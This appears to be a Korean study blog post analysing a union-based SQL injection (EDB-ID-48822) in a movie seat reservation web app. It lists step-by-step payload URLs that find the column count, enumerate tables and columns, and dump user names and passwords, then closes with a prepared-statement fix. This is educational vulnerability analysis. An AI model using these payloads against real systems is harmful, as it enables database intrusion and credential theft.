Study
EDB-ID-48822 본문
1. 개요
CVE 코드 |
EDB-ID-48822 |
분류 |
Union SQL Injection |
대상 어플리케이션 | Seat Reservation System 1.0 |
취약 코드 | /seat_reservation/reserve.php |
실행 환경 | Apache 2.4.46 / PHP Version 7.4.9 / Windows 7 x64 |
1.1 대상 어플리케이션 설명
: 영화 좌석 예매 서비스를 제공하는 웹페이지다.
영화 포스터에 마우스를 올리면 나타나는 Reserve Seat버튼을 클릭하면
해당하는 영화를 예매할 수 있는 /seat_reservation/reserve.php 페이지로 이동한다.
위 URL에서 id값을 검증하지 않아서 취약점이 발생한다.
1.2 공격 시나리오
-Union연산자를 이용한 Sql Injection공격을 수행한다.
-> 관리자 계정정보 탈취 및 관리자 페이지 접속 가능하다.
2. 상세 분석
2.1 발생원리
-사용자가 입력한 데이터가 애플리케이션에 의해 검증, 필터링, 삭제되지 않을 때 발생한다.
/seat_reservation/reserve.php 코드를 보면
아래와 같이 id 값에 대한 검증이 이루어지지 않는 것을 확인할 수 있다.
2.2 취약점 확인
/seat_reservation/index.php?page=reserve&id=999
id값을 999라는 임의의 값을 넣어준 결과
존재하지 않는 값을 넣어줬기 때문에 빈 예매 화면이 출력되었다.
Union연산자를 이용한 Sql Injection공격을 수행한다.
컬럼의 개수를 5개로 추측하고 아래의 URL을 입력해보았다.
입력 URL: /seat_reservation/index.php?page=reserve&id=' 'union select 1,2,3,4,5--
위와 같이 실패했음을 알 수 있다.
컬럼개수를 하나씩 늘려보다가 8개가 되었을 때 공격에 성공하였다.
입력 URL: /seat_reservation/index.php?page=reserve&id=' 'union select 1,2,3,4,5,6,7,8--
이번에는 데이터베이스 내에 어떤 테이블들이 있는지 테이블 명을 출력해보자
group_concat()을 이용해야 출력할 리스트들을 , 로 구분해 모두 출력해준다.
입력 URL:
/seat_reservation/index.php?
page=reserve&id=' 'union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=database() --
이번엔 계정 정보를 알아내고자 한다.
위 그림을 참고하면 users테이블에 계정정보가 있을 것으로 추측가능하다.
입력 URL:
/seat_reservation/index.php?
page=reserve&id=' 'union select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_name='users';
마지막으로 위에서 알아낸 컬럼명으로 관리자의 패스워드를 출력해보았다.
입력 URL:
/seat_reservation/index.php?
page=reserve&id=' 'union select 1,name,3,password,5,6,7,8 from users;--
3. 대응 방안
- 특수문자를 필터링하는 방법도 있지만 우회 가능한 방법이기 때문에
prepare, execute함수를 써서 시큐어 코딩을 했다.
위와 같이 prepared statement를 사용할 경우에 쿼리문은 고정되어있고
인자 값만 받아서 요청이 수행되기 때문에 외부에서 코드를 변경할 수 없다면 sql인젝션은 발생할 수 없을 것이다.
넣어준 입력값이 db내에 존재하지 않는 값이기에 내용이 빈 예매화면이 출력되고
Union연산자를 이용한 Sql Injection이 발생하지 않는다.
4. 참고자료
- sql Injection
owasp.org/www-project-top-ten/2017/A1_2017-Injection
- Exploit-DB
www.exploit-db.com/exploits/48822
- prepared statement
www.w3schools.com/php/php_mysql_prepared_statements.asp
'웹 보안 > Exploit-db' 카테고리의 다른 글
EDB-49420, 49428 (0) | 2021.01.27 |
---|---|
EDB-49431 (0) | 2021.01.22 |
EDB-49375 (0) | 2021.01.15 |
EDB-47583 (0) | 2021.01.13 |
CVE-2020-25762 (0) | 2021.01.06 |